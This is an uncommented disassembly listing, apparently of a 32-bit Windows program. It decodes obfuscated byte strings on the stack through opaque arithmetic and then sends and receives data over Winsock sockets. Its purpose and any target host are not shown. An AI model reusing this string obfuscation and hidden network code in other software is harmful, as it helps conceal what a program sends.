lea edx, [eax + ebx]
add edx, 0x20300b56
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0xa6
jmp 0x46b8e7
lea edi, [ecx + 5]
cmp esi, edi
je 0x46bacb
lea edi, [ecx + 4]
cmp esi, edi
je 0x46b7d6
mov dword [esp + 4], ebp
lea edi, [eax + 0x27df28a9]
mov ebp, ebx
add ebx, eax
add ebx, 0x27df28a9
mov dword [esp + 8], ebp
and edi, ebp
add edi, edi
sub ebx, edi
add bl, 0x61
jmp 0x46b843
lea edx, [ecx + 6]
cmp esi, edx
jne 0x46bad2
mov ebp, ecx
jmp 0x46b7d6
lea edx, [ecx + 3]
cmp esi, edx
je 0x46b7d6
cmp ecx, 4
ja 0x46b9a5
cmp esi, dword [esp + 0x6c]
je 0x46b9a5
mov edx, dword [esp + 0x10]
mov byte [esp + eax + 0x1d0], dl
jmp 0x46b9db
mov eax, 0x92f9a1
jmp 0x46bb10
xor eax, eax
jmp 0x46bb10
mov eax, 0x15aa25c
add eax, esp
add eax, 0x1d0
mov ebx, dword [esp + 0x64]
mov dword [esp], eax
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov ecx, closesocket
sub ecx, ebx
cmp ecx, eax
jb 0x46d62f
lea edi, [esp + 0x9c]
mov ecx, dword [esp + 0x54]
mov edx, dword [esp + 0x68]
mov dword [edi], 0
mov dword [esp + 4], eax
mov esi, eax
add esi, ebx
mov ebp, 0xf
cmp esi, 0x10
jb 0x46bbb2
mov edi, esi
or edi, 0xf
mov dword [esp + 8], ecx
mov dword [esp + 0x10], edx
js 0x46bb86
cmp edi, 0x17
mov ebp, 0x16
cmovae ebp, edi
lea eax, [ebp + 1]
cmp ebp, 0xfff
jb 0x46bb98
mov ebp, edi
jmp 0x46bb90
mov ebp, closesocket
mov eax, closesocket
push eax
call fcn.0040130b
jmp 0x46bb9e
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x9c], eax
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
cmp edx, 0x10
lea eax, [esp + 0x54]
cmovae eax, ecx
mov dword [esp + 0xac], esi
mov dword [esp + 0xb0], ebp
push ebx
push eax
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, edi
push dword [esp + 4]
push dword [esp + 4]
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [edi + esi], 0
sub esp, 0xc
mov al, byte [esp + 0xd8]
mov byte [esp], al
lea eax, [esp + 0x90]
mov dword [esp + 8], eax
lea eax, [esp + 0xa8]
mov dword [esp + 4], eax
lea edi, [esp + 0x40]
mov ecx, edi
call fcn.00451d58
push dword [esp + 0xc]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov ebp, eax
mov ebx, dword [edi + 0x10]
mov esi, dword [edi + 0x14]
mov eax, esi
sub eax, ebx
cmp eax, ebp
jae 0x46bd02
mov eax, closesocket
sub eax, ebx
cmp eax, ebp
jb 0x46d62f
mov dword [esp], closesocket
mov edi, ebp
add edi, ebx
mov ecx, edi
or ecx, 0xf
mov eax, closesocket
mov dword [esp + 4], edi
js 0x46bc94
mov edx, esi
shr edx, 1
mov edi, esi
mov esi, edx
xor esi, 0x7fffffff
cmp esi, edi
mov esi, edi
mov edi, dword [esp + 4]
jb 0x46bc94
add edx, esi
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c7f8
mov dword [esp], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], ecx
cmp esi, 0x10
jb 0x46bd2b
mov ecx, dword [esp + 0x34]
push ebx
mov dword [esp + 4], ecx
push ecx
push eax
mov edi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, edi
push ebp
push dword [esp + 0x10]
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov ebx, edi
mov eax, dword [esp + 4]
mov byte [edi + eax], 0
lea ecx, [esi + 1]
cmp ecx, 0x1000
jb 0x46bd52
mov ecx, dword [esp]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
add esi, 0x24
mov ecx, esi
jmp 0x46bd55
mov eax, esi
mov esi, ebp
add esi, ebx
mov dword [esp + 0x44], esi
cmp eax, 0x10
jb 0x46bd15
mov edi, dword [esp + 0x34]
add ebx, edi
push ebp
push dword [esp + 0x10]
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x46bd65
lea ecx, [esp + 0x34]
push ebx
push ecx
push eax
mov esi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, esi
push ebp
push dword [esp + 0x10]
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x46bd61
mov eax, dword [esp]
push ecx
push eax
call fcn.00471733
add esp, 8
mov esi, ebx
mov dword [esp + 0x34], esi
movsd xmm0, qword [esp + 0x44]
movsd qword [esp + 0xdc], xmm0
movups xmm0, xmmword [esp + 0x34]
movups xmmword [esp + 0xcc], xmm0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0xf
mov byte [esp + 0x34], 0
mov ebx, dword [esp + 0x24]
cmp dword [esp + 0x28], 0x10
jb 0x46bda7
mov ecx, dword [esp + 0x14]
jmp 0x46bdab
lea ecx, [esp + 0x14]
mov ebp, dword [esp + 0xdc]
mov edi, dword [esp + 0xe0]
mov eax, edi
sub eax, ebp
cmp eax, ebx
jae 0x46bea1
mov eax, closesocket
sub eax, ebp
cmp eax, ebx
jb 0x46d62f
mov dword [esp], closesocket
mov dword [esp + 8], ecx
lea esi, [ebx + ebp]
mov ecx, esi
or ecx, 0xf
mov eax, closesocket
mov dword [esp + 4], esi
js 0x46be1e
mov edx, edi
shr edx, 1
mov esi, edx
xor esi, 0x7fffffff
cmp esi, edi
mov esi, dword [esp + 4]
jb 0x46be1e
add edx, edi
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c816
mov dword [esp], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0xdc], esi
mov dword [esp + 0xe0], ecx
cmp edi, 0x10
jb 0x46bed5
mov ecx, dword [esp + 0xcc]
push ebp
mov dword [esp + 4], ecx
push ecx
push eax
mov esi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, esi
push ebx
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov ebp, esi
mov eax, dword [esp + 4]
mov byte [esi + eax], 0
lea ecx, [edi + 1]
cmp ecx, 0x1000
jb 0x46bf03
mov ecx, dword [esp]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
mov ebx, dword [esp + 0x30]
jae 0x46d634
add edi, 0x24
mov ecx, edi
jmp 0x46bf0a
lea esi, [ebx + ebp]
mov dword [esp + 0xdc], esi
cmp edi, 0x10
lea edi, [esp + 0xcc]
jb 0x46bebe
mov edi, dword [esp + 0xcc]
add ebp, edi
push ebx
push ecx
push ebp
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [edi + esi], 0
mov ebx, dword [esp + 0x30]
jmp 0x46bf1d
lea ecx, [esp + 0xcc]
push ebp
push ecx
push eax
mov edi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, edi
push ebx
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [edi + esi], 0
mov ebx, dword [esp + 0x30]
jmp 0x46bf16
mov ebx, dword [esp + 0x30]
mov eax, dword [esp]
push ecx
push eax
call fcn.00471733
add esp, 8
mov edi, ebp
mov dword [esp + 0xcc], edi
movsd xmm0, qword [esp + 0xdc]
movsd qword [esp + 0xc4], xmm0
movups xmm0, xmmword [esp + 0xcc]
movups xmmword [esp + 0xb4], xmm0
mov dword [esp + 0xdc], 0
mov dword [esp + 0xe0], 0xf
mov byte [esp + 0xcc], 0
mov eax, dword [esp + 0x48]
cmp eax, 0x10
jb 0x46bf97
mov ecx, dword [esp + 0x34]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x46bf8d
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x46d634
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00471733
add esp, 8
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0xf
mov byte [esp + 0x34], 0
mov eax, dword [esp + 0xb0]
cmp eax, 0x10
jb 0x46bfec
mov ecx, dword [esp + 0x9c]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x46bfe2
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x46d634
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00471733
add esp, 8
mov eax, dword [esp + 0x98]
cmp eax, 0x10
jb 0x46c02c
mov ecx, dword [esp + 0x84]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x46c022
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x46d634
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00471733
add esp, 8
mov eax, dword [esp + 0xc4]
cmp dword [esp + 0xc8], 0x10
jb 0x46c046
mov ecx, dword [esp + 0xb4]
jmp 0x46c04d
lea ecx, [esp + 0xb4]
push 0
push eax
push ecx
mov esi, dword [esp + 0x38]
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x46c2ea
lea eax, [esp + 0xcc]
mov dword [eax + 4], esi
mov dword [eax], 1
lea ecx, [esp + 0x9c]
mov dword [ecx], 0x3c
xor edx, edx
mov dword [ecx + 4], edx
push ecx
push edx
push edx
push eax
push edx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x46cf33
cmp eax, 0xffffffff
je 0x46cf33
lea eax, [esp + 0x1d0]
push 0
push 0x400
push eax
mov esi, dword [esp + 0x38]
push esi
call dword [sym.imp.WS2_32.dll_recv]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push ebx
call fcn.0047176d
add esp, 4
xorps xmm0, xmm0
movups xmmword [esp + 0x43], xmm0
movups xmmword [esp + 0x35], xmm0
mov byte [esp + 0x34], 0xd8
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46c695
mov bl, byte [esp + eax + 0x34]
movzx edx, bl
lea edi, [ecx + 1]
cmp esi, edi
jae 0x46c156
cmp ecx, eax
ja 0x46cf4b
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x46c18c
lea ebx, [ecx + 6]
cmp esi, ebx
je 0x46c190
lea ebx, [ecx + 8]
cmp esi, ebx
je 0x46c207
lea ebx, [ecx + 4]
cmp esi, ebx
jne 0x46c21b
lea esi, [eax + 0x1469c418]
lea ebx, [eax + edx]
add ebx, 0x1469c418
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0x58
mov esi, ebp
jmp 0x46c1f3
je 0x46c185
lea ebp, [ecx + 2]
cmp esi, ebp
jne 0x46c1d4
lea edi, [eax + 0x767ad630]
lea ebx, [eax + edx]
add ebx, 0x767ad630
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xb0
mov byte [esp + eax + 0x34], bl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0x32]
add eax, 0xfffffffe
movzx edx, bl
add edx, ecx
jmp 0x46c1f8
cmp esi, edi
jne 0x46c1ae
lea ebx, [eax - 0x587ca0c4]
lea ecx, [edx + eax]
add ecx, 0xa7835f3c
and ebx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0x5c
mov byte [esp + eax + 0x34], cl
jmp 0x46c209
mov dword [esp], ebp
lea ebp, [ecx + 2]
cmp esi, ebp
je 0x46c207
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x46c254
lea edi, [eax - 0x32496a7c]
lea ebx, [eax + edx]
add ebx, 0xcdb69584
jmp 0x46c1ea
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x46c1fc
lea edi, [eax + 0x748a3c84]
lea ebx, [eax + edx]
add ebx, 0x748a3c84
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x64
movzx edx, bl
not edx
add eax, edx
jmp 0x46c20c
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x46c10b
mov edi, ecx
dec eax
mov ecx, edi
inc eax
cmp eax, 0x1f
jb 0x46c0f5
jmp 0x46c69f
lea ebx, [ecx + 5]
cmp esi, ebx
jne 0x46c0e5
lea ebp, [eax + 0x4d1624cc]
lea ebx, [eax + edx]
add ebx, 0x4d1624cc
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0x6c
mov byte [esp + eax + 0x34], bl
movzx ebx, bl
not ecx
add ecx, eax
sub ecx, ebx
mov eax, ecx
mov ecx, edi
jmp 0x46c15f
lea ebp, [ecx + 4]
cmp esi, ebp
je 0x46c185
lea ebx, [ecx + 5]
cmp esi, ebx
jne 0x46c2aa
lea esi, [eax + 0x32f922b8]
lea ebx, [eax + edx]
add ebx, 0x32f922b8
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0xf8
mov edi, ebx
lea esi, [eax - 0x5b33dfc]
lea ebx, [eax + edx]
add ebx, 0xfa4cc204
and esi, edx
add esi, esi
sub ebx, esi
mov edx, edi
add bl, dl
add bl, 0xe4
mov byte [esp + eax + 0x34], bl
mov ebx, edi
mov esi, dword [esp]
jmp 0x46c1f3
lea ebx, [ecx + 7]
cmp esi, ebx
je 0x46c207
cmp ecx, 8
ja 0x46c190
lea ebx, [ecx + 6]
cmp esi, ebx
je 0x46c190
lea edi, [eax + 0x2964b164]
lea ebx, [eax + edx]
add ebx, 0x2964b164
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x44
mov byte [esp + eax + 0x34], bl
jmp 0x46c20c
xorps xmm0, xmm0
movups xmmword [esp + 0xdc], xmm0
movups xmmword [esp + 0xce], xmm0
mov word [esp + 0xcc], 0xa592
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46c684
mov bl, byte [esp + eax + 0xcc]
movzx edx, bl
lea edi, [ecx + 1]
cmp esi, edi
jae 0x46c387
cmp ecx, eax
ja 0x46c834
mov dword [esp], edx
lea ebp, [ecx + 8]
cmp esi, ebp
jae 0x46c3fc
lea edx, [esi + ecx]
cmp edx, eax
jbe 0x46c435
lea edx, [ecx + 3]
cmp esi, edx
je 0x46c59e
lea edx, [ecx + 0x10]
cmp esi, edx
jne 0x46c547
lea edx, [eax - 0x4271cb72]
mov edi, dword [esp]
lea ebx, [eax + edi]
add ebx, 0xbd8e348e
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0x1e
jmp 0x46c53c
je 0x46c3f2
mov dword [esp], edx
lea ebp, [ecx + 2]
cmp esi, ebp
jne 0x46c49a
lea edx, [eax + 0x43bfdd37]
mov ebp, dword [esp]
lea ebx, [eax + ebp]
add ebx, 0x43bfdd37
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x7f
mov byte [esp + eax + 0xcc], bl
movzx edx, bl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
mov ecx, edi
lea edx, [eax - 0x3cd04964]
lea ebx, [eax + ebp]
add ebx, 0xc32fb69c
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0xbc
mov byte [esp + eax + 0xcc], bl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0xca]
add eax, 0xfffffffe
movzx edx, bl
add edx, ecx
jmp 0x46c543
cmp esi, edi
je 0x46c4c6
lea edx, [ecx + 3]
cmp esi, edx
je 0x46c59e
lea edx, [ecx + 2]
cmp esi, edx
jne 0x46c5b2
lea edi, [eax + 0x6faba071]
mov ebp, dword [esp]
lea edx, [eax + ebp]
add edx, 0x6faba071
and edi, ebp
mov bl, 0xe9
jmp 0x46c50e
lea edx, [ecx + 2]
mov dword [esp + 4], edx
cmp esi, edx
jbe 0x46c4be
lea edx, [eax + 0x5da6cd11]
mov ebp, dword [esp]
add ebp, eax
add ebp, 0x5da6cd11
and edx, dword [esp]
add edx, edx
sub ebp, edx
mov edx, ebp
add dl, 0x89
mov dword [esp + 8], edx
cmp esi, edi
je 0x46c3f2
cmp esi, dword [esp + 4]
je 0x46c397
lea edx, [ecx + 3]
cmp esi, edx
jne 0x46c614
lea edx, [eax - 0x33cddfb4]
mov edi, dword [esp]
lea ebx, [eax + edi]
add ebx, 0xcc32204c
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0xec
jmp 0x46c53c
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x46c4ed
lea edi, [eax + 0x79ce5757]
mov edx, dword [esp]
lea ebx, [eax + edx]
add ebx, 0x79ce5757
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x9f
jmp 0x46c53c
cmp esi, edi
jne 0x46c56c
lea edx, [eax + 0x460077a3]
mov ebx, dword [esp]
lea ecx, [ebx + eax]
add ecx, 0x460077a3
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0x8b
mov byte [esp + eax + 0xcc], cl
jmp 0x46c5a0
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x46c590
lea edi, [eax + 0x78ae0a21]
mov ebp, dword [esp]
lea edx, [eax + ebp]
add edx, 0x78ae0a21
and edi, ebp
mov bl, 0x19
add edi, edi
sub edx, edi
add dl, bl
mov dword [esp], edx
lea edx, [eax + 0x44e02a6d]
lea ebx, [eax + ebp]
add ebx, 0x44e02a6d
and edx, ebp
add edx, edx
sub ebx, edx
add bl, byte [esp]
add bl, 5
mov byte [esp + eax + 0xcc], bl
mov ebx, dword [esp]
add esi, ecx
movzx edx, bl
not edx
add eax, edx
jmp 0x46c5a3
cmp esi, edi
mov ebp, dword [esp]
jne 0x46c5dd
lea edx, [eax - 0x439218a8]
lea ebx, [eax + ebp]
add ebx, 0xbc6de758
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x98
jmp 0x46c53e
lea edx, [ecx + 4]
cmp esi, edx
jne 0x46c5ed
lea edx, [eax + 0x58054b03]
mov edi, dword [esp]
lea ebx, [eax + edi]
add ebx, 0x58054b03
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0xeb
jmp 0x46c53c
lea ebp, [ecx + 4]
cmp esi, ebp
mov edx, dword [esp]
jne 0x46c330
mov edi, ecx
dec eax
mov ecx, edi
inc eax
cmp eax, 0x20
jb 0x46c317
jmp 0x46c68e
lea edx, [ecx + 4]
cmp esi, edx
jne 0x46c346
lea edx, [eax + 0x6d6b0605]
mov edi, dword [esp]
lea ebx, [eax + edi]
add ebx, 0x6d6b0605
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0xdd
jmp 0x46c53e
lea edx, [ecx + 9]
cmp esi, edx
je 0x46c3c6
jmp 0x46c307
lea edx, [ecx + 6]
cmp esi, edx
jne 0x46c636
lea edx, [eax + 0x56e4fdcd]
mov edi, dword [esp]
lea ebx, [eax + edi]
add ebx, 0x56e4fdcd
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0x65
jmp 0x46c53e
lea edx, [ecx + 5]
cmp esi, edx
mov ebp, dword [esp]
jne 0x46c660
lea edi, [eax - 0x34ee2cea]
lea edx, [eax + ebp]
add edx, 0xcb11d316
and edi, ebp
mov bl, 0x66
jmp 0x46c50e
cmp esi, ebp
je 0x46c3f2
lea edx, [eax + 0x7f6fd965]
mov ebp, dword [esp]
add ebp, eax
add ebp, 0x7f6fd965
and edx, dword [esp]
add edx, edx
sub ebp, edx
mov edx, ebp
add dl, 0x3d
jmp 0x46c45d
lea edx, [ecx + 4]
cmp esi, edx
je 0x46c59e
cmp ecx, 7
ja 0x46c4c6
mov edx, dword [esp + 8]
mov byte [esp + eax + 0xcc], dl
jmp 0x46c5a3
mov eax, 0xd5e941
jmp 0x46c839
xor eax, eax
jmp 0x46c839
mov eax, 0x8be094
jmp 0x46cf50
xor eax, eax
jmp 0x46cf50
test eax, eax
je 0x46d5a3
push eax
mov dword [esp + 4], edx
call fcn.004716fe
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x466921
test eax, eax
je 0x46d5ad
push eax
mov dword [esp + 4], edx
call fcn.004716fe
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x4674f1
test eax, eax
je 0x46d5b7
push eax
mov dword [esp + 4], edx
call fcn.004716fe
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x468473
test eax, eax
je 0x46d5c1
push eax
call fcn.004716fe
jmp 0x46886d
test eax, eax
je 0x46d5cb
push eax
mov dword [esp + 4], edx
call fcn.004716fe
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x468fc6
test eax, eax
je 0x46d5d5
push eax
mov dword [esp + 4], edx
call fcn.004716fe
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x4693fb
test eax, eax
je 0x46d5df
push eax
call fcn.004716fe
jmp 0x469c3b
test eax, eax
je 0x46d5e9
push eax
mov dword [esp + 4], edx
call fcn.004716fe
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x46a076
test eax, eax
je 0x46d5f3
push eax
mov dword [esp + 4], edx
call fcn.004716fe
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x46a48f
test eax, eax
je 0x46d5fd
push eax
mov dword [esp + 4], edx
call fcn.004716fe
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x46a870
test eax, eax
je 0x46d607
push eax
mov dword [esp + 0x14], edx
call fcn.004716fe
mov ecx, dword [esp + 0x14]
add esp, 4
jmp 0x46ae76
test eax, eax
je 0x46d611
push eax
mov dword [esp + 4], edx
call fcn.004716fe
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x46b356
test eax, eax
je 0x46d61b
push eax
mov dword [esp + 4], edx
call fcn.004716fe
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x46bca0
test eax, eax
je 0x46d625
push eax
mov dword [esp + 4], edx
call fcn.004716fe
mov ecx, dword [esp + 4]
add esp, 4
jmp 0x46be2a
mov eax, 0x1660fdc
add eax, esp
add eax, 0xcc
mov dword [esp + 4], eax
movaps xmm0, xmmword [0x473c80]
movups xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [0x473c90]
movups xmmword [esp + 0x1e0], xmm0
movaps xmm0, xmmword [0x473ca0]
movups xmmword [esp + 0x1f0], xmm0
mov dword [esp + 0x200], 0xb2a012c
mov dword [esp + 0x204], 0x2163c28
mov dword [esp + 0x208], 0xce13d215
mov byte [esp + 0x20c], 0x40
xor eax, eax
mov dword [esp + 0x211], eax
mov dword [esp + 0x20d], eax
mov dword [esp + 0x215], eax
call fcn.0046d640
mov edi, dword [eax]
call fcn.0046d646
mov ebp, dword [eax]
xor eax, eax
cmp edi, eax
ja 0x46cf01
movzx edx, byte [esp + eax + 0x1d0]
lea esi, [ebp + 1]
cmp edi, esi
jae 0x46c945
lea ecx, [eax + 0x571aecea]
lea ebx, [eax + edx]
add ebx, 0x571aecea
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x9a
cmp ebp, eax
ja 0x46cf0c
lea ecx, [ebp + 0x10]
cmp edi, ecx
jae 0x46c98f
lea ecx, [eax + 0x25356f32]
lea ebx, [eax + edx]
add ebx, 0x25356f32
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xa2
lea ecx, [edi + ebp]
cmp ecx, eax
jbe 0x46c9d7
cmp edi, esi
jne 0x46ca79
lea ecx, [eax + 0x6d91cc8c]
lea ebx, [eax + edx]
add ebx, 0x6d91cc8c
and ecx, edx
mov byte [esp], 0x2c
jmp 0x46c9ac
jne 0x46c964
lea ecx, [eax + 0x550c6be]
lea ebx, [eax + edx]
add ebx, 0x550c6be
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xce
jmp 0x46cd9a
lea ecx, [ebp + 3]
cmp edi, ecx
jne 0x46ca29
mov dword [esp], esi
lea ecx, [eax + 0x61bc7a66]
lea ebx, [eax + edx]
add ebx, 0x61bc7a66
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x36
jmp 0x46cd40
cmp edi, esi
jne 0x46ca51
lea ecx, [eax - 0x2c94b6fa]
lea ebx, [eax + edx]
add ebx, 0xd36b4906
and ecx, edx
mov byte [esp], 0xd6
add ecx, ecx
sub ebx, ecx
add bl, byte [esp]
lea ebp, [eax + 0xbd55226]
lea ecx, [edx + eax]
add ecx, 0xbd55226
and ebp, edx
add ebp, ebp
sub ecx, ebp
add cl, 0xf6
mov byte [esp + eax + 0x1d0], cl
jmp 0x46cb15
mov dword [esp], ecx
lea ecx, [ebp + 0x41]
cmp edi, ecx
jae 0x46caa1
lea ecx, [eax + 0x571aecea]
lea ebx, [eax + edx]
add ebx, 0x571aecea
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x9a
cmp dword [esp], 9
jne 0x46cb1d
mov dword [esp], esi
lea ecx, [eax + 0x112618e4]
lea ebx, [eax + edx]
add ebx, 0x112618e4
and ecx, edx
add ecx, ecx
sub ebx, ecx
sub bl, dl
add bl, 0xc4
jmp 0x46cd40
lea ecx, [ebp + 2]
cmp edi, ecx
jne 0x46cac6
lea ecx, [eax + 0xff2543a]
lea ebx, [eax + edx]
add ebx, 0xff2543a
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x6a
jmp 0x46ce5d
lea ecx, [ebp + 2]
cmp edi, ecx
jne 0x46caf0
lea ecx, [eax - 0x7e5edd26]
lea ebx, [eax + edx]
add ebx, 0x81a122da
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xa
jmp 0x46cb15
mov dword [esp], ecx
lea ecx, [ebp + 8]
cmp edi, ecx
jne 0x46cb6f
lea ecx, [eax + 0x1bc7a660]
lea ebx, [eax + edx]
add ebx, 0x1bc7a660
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x60
jmp 0x46cb15
cmp edi, esi
jne 0x46cbbb
lea ecx, [eax + 0x4a6ade64]
lea ebx, [eax + edx]
add ebx, 0x4a6ade64
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x44
jmp 0x46cd9a
lea ecx, [ebp + 4]
cmp edi, ecx
jne 0x46cbe6
lea ecx, [eax + 0x6c5e07e2]
lea ebx, [eax + edx]
add ebx, 0x6c5e07e2
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd2
add edi, ebp
jmp 0x46cb95
lea ecx, [ebp + 3]
cmp edi, ecx
jne 0x46cc0b
lea ecx, [eax + 0x2fd6fcae]
lea ebx, [eax + edx]
add ebx, 0x2fd6fcae
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x3e
mov esi, ebp
dec eax
mov ebp, esi
jmp 0x46ce64
lea ecx, [ebp + 0x20]
cmp edi, ecx
jbe 0x46cc33
lea ecx, [eax - 0x3e958c3e]
lea ebx, [eax + edx]
add ebx, 0xc16a73c2
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xb2
lea ecx, [ebp + 2]
cmp edi, ecx
jbe 0x46cccd
lea ecx, [eax - 0x19601d0c]
lea ebx, [eax + edx]
add ebx, 0xe69fe2f4
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x54
mov byte [esp + eax + 0x1d0], bl
jmp 0x46ce64
lea ecx, [ebp + 2]
cmp edi, ecx
jne 0x46cc55
lea ecx, [eax + 0x78335a08]
lea ebx, [eax + edx]
add ebx, 0x78335a08
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xc8
mov edi, dword [esp]
lea esi, [eax - 0x45f4d406]
lea ecx, [edx + eax]
add ecx, 0xba0b2bfa
and esi, edx
add esi, esi
sub ecx, esi
add cl, bl
add cl, 0x2a
mov byte [esp + eax + 0x1d0], cl
jmp 0x46ce5d
lea ecx, [ebp + 2]
cmp edi, ecx
jne 0x46cc7d
mov dword [esp], esi
lea ecx, [eax - 0x59296df4]
lea ebx, [eax + edx]
add ebx, 0xa6d6920c
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xac
jmp 0x46cd40
lea ecx, [ebp + 5]
cmp edi, ecx
jne 0x46c8f0
lea ecx, [eax + 0x76ff955e]
lea ebx, [eax + edx]
add ebx, 0x76ff955e
and ecx, edx
mov byte [esp], 0x6e
jmp 0x46c9ac
lea ecx, [ebp + 5]
cmp edi, ecx
jne 0x46cca5
lea ecx, [eax + 0x3a788a2a]
lea ebx, [eax + edx]
add ebx, 0x3a788a2a
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xda
jmp 0x46ce5d
cmp edi, esi
jne 0x46ccf2
lea ecx, [eax + 0x6fa04d96]
lea ebx, [eax + edx]
add ebx, 0x6fa04d96
and ecx, edx
mov byte [esp], 0xe6
jmp 0x46c9ac
lea ecx, [ebp + 9]
cmp edi, ecx
jne 0x46cd1a
lea ecx, [eax + 0x266933dc]
lea ebx, [eax + edx]
add ebx, 0x266933dc
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xfc
jmp 0x46ce5a
lea ecx, [ebp + 3]
cmp edi, ecx
jne 0x46c9fd
lea ecx, [eax + 0x550c6be0]
lea ebx, [eax + edx]
add ebx, 0x550c6be0
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xe0
